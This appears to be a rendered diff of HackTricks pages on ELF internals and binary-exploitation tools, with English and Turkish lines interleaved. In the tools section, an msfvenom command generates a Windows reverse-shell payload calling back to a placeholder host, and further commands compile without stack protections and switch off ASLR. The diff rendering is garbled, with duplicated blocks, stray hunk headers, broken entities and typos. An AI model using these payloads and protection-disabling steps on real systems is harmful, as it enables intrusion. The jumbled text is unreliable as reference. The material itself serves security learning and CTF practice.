25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY
```
Ayrıca, konum, ofset, izinler ve bölümün **veri türü** hakkında bilgi verir.
It also indicates the location, offset, permissions but also the **type of data** it section has.
### Meta Bölümleri
### Meta Sections
- **String table**: ELF dosyası için gerekli olan tüm dizeleri içerir (ancak program tarafından gerçekten kullanılanları değil). Örneğin, `.text` veya `.data` gibi bölüm adlarını içerir. Ve eğer `.text` string tablosunda 45. ofsetteyse, **name** alanında **45** numarasını kullanır.
- String tablosunun nerede olduğunu bulmak için, ELF string tablosuna bir işaretçi içerir.
- **Symbol table**: Semboller hakkında isim (string tablosundaki ofset), adres, boyut ve sembol hakkında daha fazla meta veri gibi bilgileri içerir.
- **String table**: It contains all the strings needed by the ELF file (but not the ones actually used by the program). For example it contains sections names like `.text` or `.data`. And if `.text` is at offset 45 in the strings table it will use the number **45** in the **name** field.
- In order to find where the string table is, the ELF contains a pointer to the string table.
- **Symbol table**: It contains info about the symbols like the name (offset in the strings table), address, size and more metadata about the symbol.
### Ana Bölümler
### Main Sections
- **`.text`**: Çalıştırılacak programın talimatları.
- **`.data`**: Programda tanımlı bir değere sahip global değişkenler.
- **`.bss`**: Başlatılmamış (veya sıfıra başlatılmış) global değişkenler. Buradaki değişkenler otomatik olarak sıfıra başlatılır, böylece gereksiz sıfırların ikili dosyaya eklenmesi engellenir.
- **`.rodata`**: Sabit global değişkenler (salt okunur bölüm).
- **`.tdata`** ve **`.tbss`**: Thread-local değişkenler kullanıldığında .data ve .bss gibi (`__thread_local` C++'ta veya `__thread` C'de).
- **`.dynamic`**: Aşağıya bakın.
- **`.text`**: The instruction of the program to run.
- **`.data`**: Global variables with a defined value in the program.
- **`.bss`**: Global variables left uninitialized (or init to zero). Variables here are automatically intialized to zero therefore preventing useless zeroes to being added to the binary.
- **`.rodata`**: Constant global variables (read-only section).
- **`.tdata`** and **`.tbss`**: Like the .data and .bss when thread-local variables are used (`__thread_local` in C++ or `__thread` in C).
- **`.dynamic`**: See below.
## Symbols
Symbols is a named location in the program which could be a function, a global data object, thread-local variables...
## Semboller
Semboller, programda bir işlev, global veri nesnesi, thread-local değişkenler olabilecek adlandırılmış bir konumdur...
```
readelf -s lnstat
Symbol table '.dynsym' contains 49 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...]
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...]
```
Her sembol girişi şunları içerir:
Each symbol entry contains:
- **Name**
- **Binding attributes** (weak, local or global): A local symbol can only be accessed by the program itself while the global symbol are shared outside the program. A weak object is for example a function that can be overridden by a different one.
- **Type**: NOTYPE (no type specified), OBJECT (global data var), FUNC (function), SECTION (section), FILE (source-code file for debuggers), TLS (thread-local variable), GNU_IFUNC (indirect function for relocation)
- **Section** index where it's located
- **Value** (address sin memory)
- **Size**
## Dynamic Section
- **İsim**
- **Bağlama özellikleri** (zayıf, yerel veya küresel): Yerel bir sembol yalnızca program tarafından erişilebilirken, küresel semboller programın dışındaki paylaşılan sembollerdir. Zayıf bir nesne, örneğin, farklı bir fonksiyonla geçersiz kılınabilen bir fonksiyondur.
- **Tür**: NOTYPE (tip belirtilmemiş), OBJECT (küresel veri değişkeni), FUNC (fonksiyon), SECTION (bölüm), FILE (hata ayıklayıcılar için kaynak kodu dosyası), TLS (iş parçacığına özgü değişken), GNU_IFUNC (yer değiştirme için dolaylı fonksiyon)
- **Bölüm** indeksi nerede bulunduğu
- **Değer** (bellek adresi)
- **Boyut**
## Dinamik Bölüm
```
readelf -d lnstat
Dynamic section at offset 0xfc58 contains 28 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
0x000000000000000c (INIT) 0x1088
0x000000000000000d (FINI) 0x2f74
0x0000000000000019 (INIT_ARRAY) 0x1fc48
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x1fc50
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x338
0x0000000000000005 (STRTAB) 0x7f0
0x0000000000000006 (SYMTAB) 0x358
0x000000000000000a (STRSZ) 510 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x1fe58
0x0000000000000002 (PLTRELSZ) 960 (bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0xcc8
0x0000000000000007 (RELA) 0xaa0
0x0000000000000008 (RELASZ) 552 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes)
0x000000000000001e (FLAGS) BIND_NOW
0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
0x000000006ffffffe (VERNEED) 0xa50
0x000000006fffffff (VERNEEDNUM) 2
0x000000006ffffff0 (VERSYM) 0x9ee
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
0x000000000000000c (INIT) 0x1088
0x000000000000000d (FINI) 0x2f74
0x0000000000000019 (INIT_ARRAY) 0x1fc48
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x1fc50
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x338
0x0000000000000005 (STRTAB) 0x7f0
0x0000000000000006 (SYMTAB) 0x358
0x000000000000000a (STRSZ) 510 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x1fe58
0x0000000000000002 (PLTRELSZ) 960 (bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0xcc8
0x0000000000000007 (RELA) 0xaa0
0x0000000000000008 (RELASZ) 552 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes)
0x000000000000001e (FLAGS) BIND_NOW
0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
0x000000006ffffffe (VERNEED) 0xa50
0x000000006fffffff (VERNEEDNUM) 2
0x000000006ffffff0 (VERSYM) 0x9ee
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
```
NEEDED dizini, programın devam edebilmesi için **belirtilen kütüphaneyi yüklemesi gerektiğini** gösterir. NEEDED dizini, paylaşılan **kütüphane tamamen çalışır ve kullanıma hazır olduğunda** tamamlanır.
The NEEDED directory indicates that the program **needs to load the mentioned library** in order to continue. The NEEDED directory completes once the shared **library is fully operational and ready** for use.
## Relocations
The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ.
## Yeniden Yerleştirmeler
Yükleyici, bağımlılıkları yükledikten sonra yeniden yerleştirmeleri de yapmalıdır. Bu yeniden yerleştirmeler, REL veya RELA formatlarında yeniden yerleştirme tablosunda belirtilir ve yeniden yerleştirmelerin sayısı dinamik bölümlerde RELSZ veya RELASZ ile verilir.
```
readelf -r lnstat
Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
Offset Info Type Sym. Value Sym. Name + Addend
Offset Info Type Sym. Value Sym. Name + Addend
00000001fc48 000000000403 R_AARCH64_RELATIV 1d10
00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0
00000001fff0 000000000403 R_AARCH64_RELATIV 1340
@ -273,7 +264,7 @@ Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0
Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
Offset Info Type Sym. Value Sym. Name + Addend
Offset Info Type Sym. Value Sym. Name + Addend
00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0
00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0
00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0
@ -315,82 +306,77 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
```
### Statik Yeniden Yerleştirmeler
### Static Relocations
Eğer **program tercih edilen adresten** (genellikle 0x400000) farklı bir yere yüklenirse, bu adresin zaten kullanılıyor olması veya **ASLR** ya da başka bir sebepten dolayı, statik bir yeniden yerleştirme **işaretçileri düzeltir** ki bu işaretçiler, ikili dosyanın tercih edilen adreste yükleneceğini bekliyordu.
If the **program is loaded in a place different** from the preferred address (usually 0x400000) because the address is already used or because of **ASLR** or any other reason, a static relocation **corrects pointers** that had values expecting the binary to be loaded in the preferred address.
Örneğin, `R_AARCH64_RELATIV` türündeki herhangi bir bölüm, yeniden yerleştirme kayması artı ekleme değeri ile adresin değiştirilmesini gerektirir.
For example any section of type `R_AARCH64_RELATIV` should have modified the address at the relocation bias plus the addend value.
### Dinamik Yeniden Yerleştirmeler ve GOT
### Dynamic Relocations and GOT
Yeniden yerleştirme, bir dış sembole (bir bağımlılıktan bir fonksiyon gibi) de referans verebilir. Örneğin, libC'den malloc fonksiyonu. O zaman, yükleyici libC'yi bir adrese yüklerken malloc fonksiyonunun yüklendiği yeri kontrol eder, bu adresi GOT (Küresel Ofset Tablosu) tablosuna yazar (yeniden yerleştirme tablosunda belirtilmiştir) ve burada malloc'un adresi belirtilmelidir.
The relocation could also reference an external symbol (like a function from a dependency). Like the function malloc from libC. Then, the loader when loading libC in an address checking where the malloc function is loaded, it will write this address in the GOT (Global Offset Table) table (indicated in the relocation table) where the address of malloc should be specified.
### Prosedür Bağlantı Tablosu
### Procedure Linkage Table
PLT bölümü tembel bağlama yapmayı sağlar, bu da bir fonksiyonun yerinin çözümlemesinin ilk kez erişildiğinde gerçekleştirileceği anlamına gelir.
The PLT section allows to perform lazy binding, which means that the resolution of the location of a function will be performed the first time it's accessed.
Bu nedenle bir program malloc çağırdığında, aslında PLT'deki `malloc`'un karşılık gelen konumunu çağırır (`malloc@plt`). İlk kez çağrıldığında `malloc`'un adresini çözer ve bunu saklar, böylece bir sonraki `malloc` çağrıldığında, bu adres PLT kodu yerine kullanılır.
So when a program calls to malloc, it actually calls the corresponding location of `malloc` in the PLT (`malloc@plt`). The first time it's called it resolves the address of `malloc` and stores it so next time `malloc` is called, that address is used instead of the PLT code.
## Program Initialization
After the program has been loaded it's time for it to run. However, the first code that is run i**sn't always the `main`** function. This is because for example in C++ if a **global variable is an object of a class**, this object must be **initialized** **before** main runs, like in:
## Program Başlatma
Program yüklendikten sonra çalıştırma zamanı gelmiştir. Ancak, çalıştırılan ilk kod **her zaman `main`** fonksiyonu değildir. Bunun nedeni, örneğin C++'ta eğer bir **global değişken bir sınıfın nesnesi ise**, bu nesne **main çalışmadan önce** **başlatılmalıdır**, örneğin:
```cpp
#include <stdio.h>
// g++ autoinit.cpp -o autoinit
class AutoInit {
public:
AutoInit() {
printf("Hello AutoInit!\n");
}
~AutoInit() {
printf("Goodbye AutoInit!\n");
}
public:
AutoInit() {
printf("Hello AutoInit!\n");
}
~AutoInit() {
printf("Goodbye AutoInit!\n");
}
};
AutoInit autoInit;
int main() {
printf("Main\n");
return 0;
printf("Main\n");
return 0;
}
```
Bu global değişkenlerin `.data` veya `.bss` içinde bulunduğunu unutmayın, ancak `__CTOR_LIST__` ve `__DTOR_LIST__` listelerinde başlatılacak ve yok edilecek nesneler saklanır, böylece bunların takibi yapılabilir.
Note that these global variables are located in `.data` or `.bss` but in the lists `__CTOR_LIST__` and `__DTOR_LIST__` the objects to initialize and destruct are stored in order to keep track of them.
From C code it's possible to obtain the same result using the GNU extensions :
C kodundan aynı sonuca GNU uzantılarını kullanarak ulaşmak mümkündür:
```c
__attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list
```
Derleyici perspektifinden, `main` fonksiyonu çalıştırılmadan önce ve sonra bu eylemleri gerçekleştirmek için, dinamik bölümde **`INIT`** ve **`FIN`** olarak referans verilecek bir `init` fonksiyonu ve bir `fini` fonksiyonu oluşturmak mümkündür. Bu fonksiyonlar ELF'nin `init` ve `fini` bölümlerinde yer alır.
From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF.
Diğer bir seçenek, bahsedildiği gibi, dinamik bölümdeki **`INIT_ARRAY`** ve **`FINI_ARRAY`** girişlerinde **`__CTOR_LIST__`** ve **`__DTOR_LIST__`** listelerine referans vermektir ve bunların uzunluğu **`INIT_ARRAYSZ`** ve **`FINI_ARRAYSZ`** ile belirtilir. Her giriş, argüman olmadan çağrılacak bir fonksiyon işaretçisidir.
The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments.
Ayrıca, **`INIT_ARRAY`** işaretçileri **önce** çalıştırılacak **işaretçileri** içeren bir **`PREINIT_ARRAY`** olması da mümkündür.
Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers.
### Başlatma Sırası
### Initialization Order
1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**.
2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed.
3. **`PREINIT_ARRAY`** functions are executed.
4. **`INIT_ARRAY`** functions are executed.
5. If there is a **`INIT`** entry it's called.
6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function).
1. Program belleğe yüklenir, statik global değişkenler **`.data`** bölümünde başlatılır ve başlatılmamış olanlar **`.bss`** bölümünde sıfırlanır.
2. Program veya kütüphaneler için tüm **bağımlılıklar** **başlatılır** ve **dinamik bağlantı** gerçekleştirilir.
3. **`PREINIT_ARRAY`** fonksiyonları çalıştırılır.
4. **`INIT_ARRAY`** fonksiyonları çalıştırılır.
5. Eğer bir **`INIT`** girişi varsa, çağrılır.
6. Eğer bir kütüphane ise, dlopen burada sona erer; eğer bir program ise, **gerçek giriş noktası** (`main` fonksiyonu) çağrılma zamanı gelmiştir.
## Thread-Local Storage (TLS)
They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**.
C++'da **`__thread_local`** anahtar kelimesi veya GNU uzantısı **`__thread`** kullanılarak tanımlanırlar.
Each thread will maintain a unique location for this variable so only the thread can access its variable.
Her bir thread, bu değişken için benzersiz bir konum tutacaktır, böylece yalnızca thread kendi değişkenine erişebilir.
When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS.
Bu kullanıldığında, ELF'de **`.tdata`** ve **`.tbss`** bölümleri kullanılır. Bunlar, TLS için `.data` (başlatılmış) ve `.bss` (başlatılmamış) gibidir.
Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area.
Her değişken, boyutu ve thread'in yerel veri alanındaki kullanacağı TLS ofsetini belirten TLS başlığında bir girişe sahip olacaktır.
The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module.
`__TLS_MODULE_BASE`, thread yerel depolamanın temel adresine atıfta bulunmak için kullanılan bir semboldür ve bir modülün tüm thread yerel verilerini içeren bellek alanına işaret eder.
{{#include ../../banners/hacktricks-training.md}}

132
src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md
View File

@ -1,9 +1,8 @@
# Exploiting Tools
# Exploit Araçları
{{#include ../../../banners/hacktricks-training.md}}
## Metasploit
```bash
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
@ -11,31 +10,23 @@ nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellcodes
### Shellkodlar
```bash
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
## GDB
### Install
### Kurulum
```bash
apt-get install gdb
```
### Parameters
### Parametreler
```bash
-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process
```
### Instructions
### Talimatlar
```bash
run # Execute
start # Start and break in main
@ -81,11 +72,9 @@ x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
You could optionally use [**this fork of GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) which contains more interesting instructions.
İsterseniz, daha ilginç talimatlar içeren [**bu GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) çatısını kullanabilirsiniz.
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
@ -118,34 +107,32 @@ dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
### Tricks
#### GDB same addresses
#### GDB aynı adresler
While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:
Hata ayıklama sırasında GDB, **çalıştırıldığında ikili dosya tarafından kullanılan adreslerden biraz farklı adreslere sahip olacaktır.** GDB'nin aynı adreslere sahip olmasını sağlamak için:
- `unset env LINES`
- `unset env COLUMNS`
- `set env _=<path>` _Put the absolute path to the binary_
- Exploit the binary using the same absolute route
- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary
- `set env _=<path>` _İkili dosyanın mutlak yolunu koyun_
- İkili dosyayı aynı mutlak yol ile istismar edin
- `PWD` ve `OLDPWD`, GDB kullanırken ve ikili dosyayı istismar ederken aynı olmalıdır
#### Backtrace to find functions called
When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\
You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called:
#### Fonksiyonları bulmak için geri izleme
Eğer bir **statik bağlı ikili dosya** varsa, tüm fonksiyonlar ikili dosyaya ait olacaktır (ve dış kütüphanelere değil). Bu durumda, **ikili dosyanın kullanıcı girişi istemek için izlediği akışı tanımlamak zor olacaktır.**\
Bu akışı, **gdb** ile ikili dosyayı çalıştırarak kolayca tanımlayabilirsiniz, ta ki sizden giriş istenene kadar. Ardından, **CTRL+C** ile durdurun ve çağrılan fonksiyonları görmek için **`bt`** (**geri izleme**) komutunu kullanın:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
@ -154,87 +141,80 @@ gef➤ bt
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
### GDB sunucusu
### GDB server
`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)
`gdbserver --multi 0.0.0.0:23947` (IDA'da, Linux makinesindeki çalıştırılabilir dosyanın mutlak yolunu ve Windows makinesindeki yolu doldurmalısınız)
## Ghidra
### Find stack offset
### Yığın ofsetini bul
**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\
For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\
&#xNAN;_&#x52;emember that the first 0x08 from where the RIP is saved belongs to the RBP._
**Ghidra**, **yerel değişkenlerin konumu hakkında bilgi sayesinde bir **buffer overflow** için **ofset** bulmakta çok kullanışlıdır.**\
Örneğin, aşağıdaki örnekte, `local_bc`'deki bir buffer akışı, `0xbc` ofsetine ihtiyaç duyduğunuzu gösterir. Ayrıca, `local_10` bir canary cookie ise, `local_bc`'den üzerine yazmak için `0xac` ofsetine ihtiyaç olduğunu gösterir.\
&#xNAN;_&#x52;emember, RIP'in kaydedildiği ilk 0x08'in RBP'ye ait olduğunu unutmayın._
![](<../../../images/image (1061).png>)
## qtool
```bash
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
```
Get every opcode executed in the program.
Herhangi bir opcode'u programda çalıştırın.
## GCC
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\
&#xNAN;**-o** --> Output\
&#xNAN;**-g** --> Save code (GDB will be able to see it)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Korumasız derleme\
&#xNAN;**-o** --> Çıktı\
&#xNAN;**-g** --> Kodu kaydet (GDB bunu görebilecek)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> Linux'ta ASLR'yi devre dışı bırakmak için
**To compile a shellcode:**\
**nasm -f elf assembly.asm** --> return a ".o"\
**ld assembly.o -o shellcodeout** --> Executable
**Bir shellcode derlemek için:**\
**nasm -f elf assembly.asm** --> ".o" döndürür\
**ld assembly.o -o shellcodeout** --> Çalıştırılabilir
## Objdump
**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\
&#xNAN;**-Mintel** --> **Intel** syntax\
&#xNAN;**-t** --> **Symbols** table\
&#xNAN;**-D** --> **Disassemble all** (address of static variable)\
&#xNAN;**-s -j .dtors** --> dtors section\
&#xNAN;**-s -j .got** --> got section\
-D -s -j .plt --> **plt** section **decompiled**\
&#xNAN;**-TR** --> **Relocations**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\
**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section).
**-d** --> **Çalıştırılabilir** bölümleri ayrıştır (derlenmiş bir shellcode'un opcodlarını gör, ROP Gadget'ları bul, fonksiyon adresini bul...)\
&#xNAN;**-Mintel** --> **Intel** sözdizimi\
&#xNAN;**-t** --> **Semboller** tablosu\
&#xNAN;**-D** --> **Tümünü ayrıştır** (statik değişkenin adresi)\
&#xNAN;**-s -j .dtors** --> dtors bölümü\
&#xNAN;**-s -j .got** --> got bölümü\
-D -s -j .plt --> **plt** bölümü **dekompile edildi**\
&#xNAN;**-TR** --> **Yeniden yerleştirmeler**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT'da değiştirilmesi gereken "puts" adresi\
**objdump -D ./exec | grep "VAR_NAME"** --> Statik bir değişkenin adresi (bunlar DATA bölümünde saklanır).
## Core dumps
1. Run `ulimit -c unlimited` before starting my program
2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
1. Programımı başlatmadan önce `ulimit -c unlimited` çalıştırın
2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` çalıştırın
3. sudo gdb --core=\<path/core> --quiet
## More
## Daha Fazla
**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Loop to see if the address changes a lot\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh"
**ldd executable | grep libc.so.6** --> Adres (eğer ASLR varsa, bu her seferinde değişir)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Adresin çok değişip değişmediğini görmek için döngü\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" ofseti\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" ofseti
**strace executable** --> Functions called by the executable\
**rabin2 -i ejecutable -->** Address of all the functions
**strace executable** --> Çalıştırılabilir tarafından çağrılan fonksiyonlar\
**rabin2 -i ejecutable -->** Tüm fonksiyonların adresi
## **Inmunity debugger**
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
## IDA
### Debugging in remote linux
Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary `linux_server` or `linux_server64` inside the linux server and run it nside the folder that contains the binary:
### Uzak linux'ta hata ayıklama
IDA klasörü içinde, bir ikili dosyayı linux içinde hata ayıklamak için kullanılabilecek ikili dosyalar bulabilirsiniz. Bunu yapmak için `linux_server` veya `linux_server64` ikili dosyasını linux sunucusuna taşıyın ve ikili dosyanın bulunduğu klasörde çalıştırın:
```
./linux_server64 -Ppass
```
Then, configure the debugger: Debugger (linux remote) --> Proccess options...:
Sonra, hata ayıklayıcıyı yapılandırın: Debugger (linux remote) --> Proccess options...:
![](<../../../images/image (858).png>)

128
src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md
View File

@ -1,120 +1,100 @@
# PwnTools
{{#include ../../../banners/hacktricks-training.md}}
```
pip3 install pwntools
```
## Pwn asm
Get **opcodes** from line or file.
Satırdan veya dosyadan **opcodları** al.
```
pwn asm "jmp esp"
pwn asm -i <filepath>
```
**Seçilebilir:**
**Can select:**
- output type (raw,hex,string,elf)
- output file context (16,32,64,linux,windows...)
- avoid bytes (new lines, null, a list)
- select encoder debug shellcode using gdb run the output
- çıktı türü (ham, hex, string, elf)
- çıktı dosyası bağlamı (16, 32, 64, linux, windows...)
- baytlardan kaçın (yeni satırlar, null, bir liste)
- çıktı almak için gdb kullanarak kodlayıcı hata ayıklayıcı shellcode seç
## **Pwn checksec**
Checksec script
Checksec betiği
```
pwn checksec <executable>
```
## Pwn constgrep
## Pwn cyclic
Get a pattern
Bir desen al
```
pwn cyclic 3000
pwn cyclic -l faad
```
**Seçilebilir:**
**Can select:**
- The used alphabet (lowercase chars by default)
- Length of uniq pattern (default 4)
- context (16,32,64,linux,windows...)
- Take the offset (-l)
- Kullanılan alfabe (varsayılan olarak küçük harfler)
- Benzersiz desenin uzunluğu (varsayılan 4)
- bağlam (16,32,64,linux,windows...)
- Ofseti al (-l)
## Pwn debug
Attach GDB to a process
Bir işleme GDB ekle
```
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
```
